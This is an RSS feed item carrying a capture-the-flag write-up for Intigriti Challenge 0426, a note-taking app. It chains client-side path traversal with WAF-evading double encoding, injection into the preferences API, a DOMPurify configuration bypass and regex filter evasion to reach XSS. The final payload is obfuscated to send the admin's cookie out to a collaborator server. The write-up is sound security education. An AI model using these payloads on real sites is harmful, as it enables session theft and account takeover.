<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by izz00_ on Medium]]></title>
        <description><![CDATA[Stories by izz00_ on Medium]]></description>
        <link>https://medium.com/@ahmedezealdean0125?source=rss-3a49ecd8987e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*mCtHpjzdWafnQsaN</url>
            <title>Stories by izz00_ on Medium</title>
            <link>https://medium.com/@ahmedezealdean0125?source=rss-3a49ecd8987e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 11:53:11 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ahmedezealdean0125/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Intigriti Challenge 0426 — Full Solution Walkthrough]]></title>
            <link>https://medium.com/@ahmedezealdean0125/intigriti-challenge-0426-full-solution-walkthrough-a36ef8e9b8c0?source=rss-3a49ecd8987e------2</link>
            <guid isPermaLink="false">https://medium.com/p/a36ef8e9b8c0</guid>
            <dc:creator><![CDATA[izz00_]]></dc:creator>
            <pubDate>Tue, 28 Apr 2026 13:18:04 GMT</pubDate>
            <atom:updated>2026-04-28T13:18:04.782Z</atom:updated>
            <content:encoded><![CDATA[<p>The target is a simple note-taking application. Users can create notes using a subset of allowed HTML tags, and the frontend is sanitized with the latest version of DOMPurify. Notes are publicly shareable via direct links.</p><p>This writeup covers how I chained a client-side path traversal with a preferences injection to bypass DOMPurify’s configuration and achieve XSS — ultimately exfiltrating the admin’s cookie to capture the flag.</p><h4>Identifying the Sink</h4><p>While reviewing the application’s JavaScript, two functions immediately stood out. The first is loadCustomWidget:</p><pre>function loadCustomWidget(el) {<br>    if (getOwnString(APP, &#39;widgetSink&#39;, &#39;text&#39;) !== &#39;script&#39;) return;<br><br>    var cfg = el.dataset.cfg;<br>    if (!cfg || cfg.length &gt; 512) return;<br>    var s = document.createElement(&#39;script&#39;);<br>    s.textContent = cfg;<br>    document.head.appendChild(s);<br>  }</pre><p>This function reads the value of an element’s data-cfg attribute and injects it directly into a &lt;script&gt; tag. That&#39;s a clear XSS sink — if I can reach it with controlled input, I win.</p><p>The function is called from processEnhancements:</p><pre>function processEnhancements(root) {<br>    var policies = loadContentPolicies();<br>    if (!policies.enableEnhancements) return;<br><br>    var manifestTypes = getOwnArray(APP, &#39;widgetTypes&#39;);<br>    if (!manifestTypes.length) return;<br><br>    var configEl = document.getElementById(&#39;enhance-config&#39;);<br>    if (!configEl) return;<br>    var allowedTypes = (configEl.dataset.types || &#39;&#39;).split(&#39;,&#39;);<br><br>    root.querySelectorAll(&#39;[data-enhance]:not([data-processed])&#39;).forEach(function (el) {<br>      el.dataset.processed = &#39;1&#39;;<br>      var type = el.dataset.enhance;<br>      if (allowedTypes.indexOf(type) === -1) return;<br>      if (manifestTypes.indexOf(type) === -1) return;<br><br>      switch (type) {<br>        case &#39;counter&#39;:<br>          animateCounter(el);<br>          break;<br>        case &#39;progress&#39;:<br>          animateProgress(el);<br>          break;<br>        case &#39;custom&#39;:<br>          loadCustomWidget(el);<br>          break;<br>      }<br>    });<br>  }</pre><p>To reach loadCustomWidget, every one of the following conditions must be true:</p><ol><li>APP.widgetSink equals &quot;script&quot;</li><li>APP.widgetTypes is an array containing &quot;custom&quot;</li><li>policies.enableEnhancements is true</li><li>An element with id=&quot;enhance-config&quot; exists in the DOM</li><li>That element has data-types containing &quot;custom&quot;</li><li>A separate element exists with data-enhance=&quot;custom&quot; carrying the payload in data-cfg</li></ol><p>That means I need two things: control over the APP object, and the ability to inject id and data-* attributes into the DOM. Both turned out to be achievable.</p><h4>Finding The Path Based Client Side Path Traversal</h4><p>next looked at how the APP object gets populated, and found applyRemoteProfile:</p><pre>  function applyRemoteProfile(profile) {<br>    if (!profile || typeof profile !== &#39;object&#39;) return;<br><br>    if (typeof profile.renderMode === &#39;string&#39;) {<br>      APP.renderMode = profile.renderMode;<br>    }<br><br>    if (Array.isArray(profile.widgetTypes)) {<br>      APP.widgetTypes = profile.widgetTypes<br>        .filter(function (value) { return typeof value === &#39;string&#39;; })<br>        .slice(0, 8);<br>    }<br><br>    if (typeof profile.widgetSink === &#39;string&#39;) {<br>      APP.widgetSink = profile.widgetSink;<br>    }<br><br>    if (typeof profile.theme === &#39;string&#39;) {<br>      APP.theme = profile.theme;<br>    }<br>  }</pre><p>This function fetches a remote manifest and uses it to overwrite APP properties. The URL is constructed like this:</p><pre>var target = ‘/note/’ + encodeURIComponent(noteId) + ‘/’ + panel +<br> ‘/manifest.json?note=’ + encodeURIComponent(noteId)</pre><p>The panel segment is appended to the path <strong>without any sanitization</strong>. This is a textbook client-side path traversal.</p><p>The URL in the browser when viewing a note looks like /note/&lt;note-id&gt;/panel. I tried replacing panel with ..%2fcspt to traverse up a directory, but the WAF blocked it. Double-encoding the dots worked: %252e%252e%2fcspt went through, and I could confirm the traversal in the Network tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dA_WyAy4PdRo-1Y-E8EwQg.png" /></figure><p>Now I needed something useful to point it at.</p><h4>Finding a Gadget in the Preferences API</h4><p>While exploring the app, I noticed that editing account settings sends this request:</p><pre>POST /api/account/preferences HTTP/1.1<br>Host: challenge-0426.intigriti.io<br>Connection: keep-alive<br>Content-Length: 73<br>Content-Type: application/json<br>Cookie: northstar_profile=768e0bf654125f157d896e2c7cc66c8f<br><br>{&quot;theme&quot;:&quot;light&quot;,&quot;fontSize&quot;:14,&quot;language&quot;:&quot;fr&quot;,&quot;defaultLayout&quot;:&quot;summary&quot;}</pre><p>I tested whether the server would accept and store arbitrary fields by adding &quot;foo&quot;: &quot;bar&quot; to the body. The response confirmed it:</p><pre>{<br>    &quot;success&quot;: true,<br>    &quot;message&quot;: &quot;Preferences saved.&quot;,<br>    &quot;preferences&quot;: {<br>        &quot;theme&quot;: &quot;light&quot;,<br>        &quot;fontSize&quot;: 14,<br>        &quot;language&quot;: &quot;fr&quot;,<br>        &quot;notifications&quot;: true,<br>        &quot;editorMode&quot;: &quot;rich&quot;,<br>        &quot;defaultLayout&quot;: &quot;summary&quot;,<br>        &quot;readerPresets&quot;: {},<br>        &quot;foo&quot;: &quot;bar&quot;<br>    },<br>    &quot;stats&quot;: {<br>        &quot;presetCount&quot;: 0<br>    }<br>}</pre><p>The server reflects arbitrary JSON fields back without filtering. That opened a door.</p><p>I also noticed the app was making requests to /api/account/preferences/reader-presets/new/manifest.json (returning 404). This endpoint appeared to serve entries from the readerPresets field of the preferences object — using the exact same JSON structure as the note manifest.</p><p>I sent this preferences update:</p><pre>{<br>  &quot;theme&quot;: &quot;light&quot;,<br>  &quot;fontSize&quot;: 14,<br>  &quot;language&quot;: &quot;fr&quot;,<br>  &quot;defaultLayout&quot;: &quot;hacked&quot;,<br>  &quot;readerPresets&quot;: {<br>    &quot;new&quot;: {<br>      &quot;profile&quot;: {<br>        &quot;renderMode&quot;: &quot;full&quot;,<br>        &quot;widgetTypes&quot;: [&quot;counter&quot;, &quot;progress&quot;, &quot;hacker&quot;],<br>        &quot;widgetSink&quot;: &quot;script&quot;<br>      }<br>    }<br>  }<br>}</pre><p>Hitting /api/account/preferences/reader-presets/new/manifest.json now returned:</p><pre>{<br>  &quot;profile&quot;: {<br>    &quot;renderMode&quot;: &quot;full&quot;,<br>    &quot;widgetTypes&quot;: [&quot;counter&quot;, &quot;progress&quot;, &quot;hacker&quot;],<br>    &quot;widgetSink&quot;: &quot;script&quot;<br>  }<br>}</pre><p>I now controlled the manifest content. The CSPT could redirect the app’s manifest fetch to this endpoint, giving me full control over the APP object.reader-presets%2Fnew</p><h4>Bypassing DOMPurify</h4><p>I still needed to inject id and data-* attributes into the DOM — but by default, DOMPurify blocks both. Using DevTools, I traced the configuration to getSanitizeConfig():</p><pre>var policies = loadContentPolicies();<br><br>    if (policies.allowForms) {<br>      cfg.ALLOWED_TAGS = cfg.ALLOWED_TAGS.concat([<br>        &#39;form&#39;,&#39;input&#39;,&#39;select&#39;,&#39;option&#39;,&#39;textarea&#39;,<br>        &#39;label&#39;,&#39;fieldset&#39;,&#39;legend&#39;,<br>        &#39;details&#39;,&#39;summary&#39;,&#39;dialog&#39;,<br>        &#39;meter&#39;,&#39;progress&#39;,&#39;output&#39;<br>      ]);<br>    }<br><br>    if (policies.allowIds) {<br>      cfg.ALLOWED_ATTR = cfg.ALLOWED_ATTR.concat([<br>        &#39;id&#39;,&#39;name&#39;,&#39;value&#39;,&#39;type&#39;,&#39;placeholder&#39;,<br>        &#39;for&#39;,&#39;method&#39;,&#39;action&#39;,<br>        &#39;checked&#39;,&#39;selected&#39;,&#39;disabled&#39;,&#39;readonly&#39;,<br>        &#39;required&#39;,&#39;pattern&#39;,&#39;autocomplete&#39;,<br>        &#39;rows&#39;,&#39;cols&#39;,&#39;wrap&#39;,&#39;maxlength&#39;,&#39;minlength&#39;,<br>        &#39;multiple&#39;,&#39;size&#39;,&#39;accept&#39;,&#39;list&#39;,<br>        &#39;open&#39;,&#39;tabindex&#39;,&#39;role&#39;,<br>        &#39;min&#39;,&#39;max&#39;,&#39;step&#39;,&#39;low&#39;,&#39;high&#39;,&#39;optimum&#39;,<br>        &#39;aria-label&#39;,&#39;aria-describedby&#39;<br>      ]);<br>    }<br><br>    if (policies.allowDataAttrs) {<br>      cfg.ALLOW_DATA_ATTR = true;<br>    }</pre><p>so if i can affect the policies object i can change dompurify configurations to allow data attributes,so I took a look at the loadContentPolicies() function:</p><pre>function loadContentPolicies() {<br>    var mode = getOwnString(APP, &#39;renderMode&#39;, &#39;safe&#39;);<br>    return {<br>      allowForms:         mode === &#39;full&#39;,<br>      allowIds:           mode === &#39;full&#39;,<br>      allowDataAttrs:     mode === &#39;full&#39;,<br>      enableEnhancements: mode === &#39;full&#39;<br>    };<br>  }</pre><p>Setting APP.renderMode to &quot;full&quot; unlocks id attributes, data-* attributes, and the enhancement pipeline all at once. And since I already controlled the manifest via the CSPT + preferences injection, I could set renderMode to &quot;full&quot; freely.</p><p>All the pieces were in place.</p><h4>Bypassing the Post-Sanitization Filter</h4><p>With DOMPurify now permitting data-* attributes, I tried the obvious payload first:</p><pre>&lt;div data-enhance=&quot;custom&quot;<br>  data-types=&quot;custom,custom&quot;<br>  id=&quot;enhance-config&quot;<br>  data-cfg=&quot;alert(1)&quot;&gt;<br>&lt;/div&gt;</pre><p>The attribute was silently stripped and nothing fired. I traced the issue to a second sanitization layer running <em>after</em> DOMPurify, in a function called postSanitize:</p><pre>function postSanitize(html) {<br>  var temp = document.createElement(&#39;div&#39;);<br>  temp.innerHTML = html;<br>  temp.querySelectorAll(&#39;*&#39;).forEach(function (el) {<br>    var attrs = el.attributes;<br>    for (var i = attrs.length - 1; i &gt;= 0; i--) {<br>      var attr = attrs[i];<br>      if (attr.name.indexOf(&#39;data-&#39;) === 0 &amp;&amp; UNSAFE_CONTENT_RE.test(attr.value)) {<br>        el.removeAttribute(attr.name);<br>      }<br>    }<br>  });<br>  return temp.innerHTML;<br>}</pre><p>This function iterates over every data-* attribute and removes it if its value matches UNSAFE_CONTENT_RE — a regex pattern designed to catch obviously dangerous strings like alert(1).</p><p>The filter tests the <strong>raw string value</strong> of the attribute at parse time, but loadCustomWidget executes it later as JavaScript. That gap is the bypass: if I obfuscate the payload so the regex doesn&#39;t match at sanitization time, the attribute survives into the DOM and executes normally when the enhancement pipeline runs.</p><p>Splitting the function name across string concatenation was enough:</p><pre>data-cfg=&quot;this[&#39;al&#39;+&#39;ert&#39;](1)&quot;</pre><p>The regex sees this[&#39;al&#39;+&#39;ert&#39;](1) — no direct match — so the attribute is kept. When loadCustomWidget later injects it into a &lt;script&gt; tag, the JavaScript engine evaluates the concatenation and calls alert(1).</p><h4>The Full Exploit Chain</h4><ol><li>Inject the malicious manifest via preferences:</li></ol><pre>POST /api/account/preferences HTTP/1.1<br>Host: challenge-0426.intigriti.io<br>Connection: keep-alive<br>Content-Length: 73<br>Content-Type: application/json<br>Cookie: northstar_profile=768e0bf654125f157d896e2c7cc66c8f<br><br>{&quot;theme&quot;:&quot;light&quot;,&quot;fontSize&quot;:14,&quot;language&quot;:&quot;fr&quot;,&quot;defaultLayout&quot;:&quot;hacked&quot;,<br>&quot;readerPresets&quot;:{&quot;new&quot;:{<br>&quot;profile&quot;:{<br>        &quot;renderMode&quot;: &quot;full&quot;,<br>        &quot;widgetTypes&quot;: [&quot;counter&quot;, &quot;progress&quot;,&quot;custom&quot;],<br>        &quot;widgetSink&quot;: &quot;script&quot;<br>    }}<br>}}</pre><ol><li>Create a note containing the XSS payload:</li></ol><pre>&lt;div data-enhance=&quot;custom&quot;<br>  data-types=custom,custom  id=&quot;enhance-config&quot; data-cfg=&quot;this[&#39;al&#39;+&#39;ert&#39;](1)&quot;&gt;<br>&lt;/div&gt;</pre><p><strong>3. View the note with the CSPT path appended:</strong></p><pre>/note/&lt;note-id&gt;/%252e%252e%2f%252e%252e%2fapi%2Faccount%2Fpreferences%2Freader-presets%2Fnew</pre><p>The traversal redirects the manifest fetch to the controlled preferences endpoint, APP gets overwritten with the malicious profile, DOMPurify allows the payload through, and the enhancement pipeline executes the script. Alert fires.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/1*IFFxfnfGdea7TM_cr_o11Q.png" /></figure><h4>Getting the Flag</h4><p>Triggering an alert is just the proof of concept. The challenge required stealing the flag from an admin.</p><p>The app has a <strong>“Request Preview”</strong> button on each note, which sends the note for review by an admin bot. I replaced the alert payload with a cookie-stealing one:</p><p>Indicating that it gets reviewed by someone, so i created a new note with this payload adding my collaborator payload:</p><pre>&lt;div data-enhance=&quot;custom&quot;<br>  data-types=custom,custom  id=&quot;enhance-config&quot; data-cfg=&quot;new this[&#39;Im&#39; + &#39;age&#39;]()[&#39;s&#39; + &#39;rc&#39;] = &#39;https://Collab-paylod/log?&#39; + this[&#39;docu&#39; + &#39;ment&#39;][&#39;coo&#39; + &#39;kie&#39;];&quot;&gt;<br>&lt;/div&gt;</pre><p>I requested a preview, the admin visited the note with the CSPT URL, the payload fired in their browser, and I received an HTTP request at my collaborator server with the flag in the query string.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a36ef8e9b8c0" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>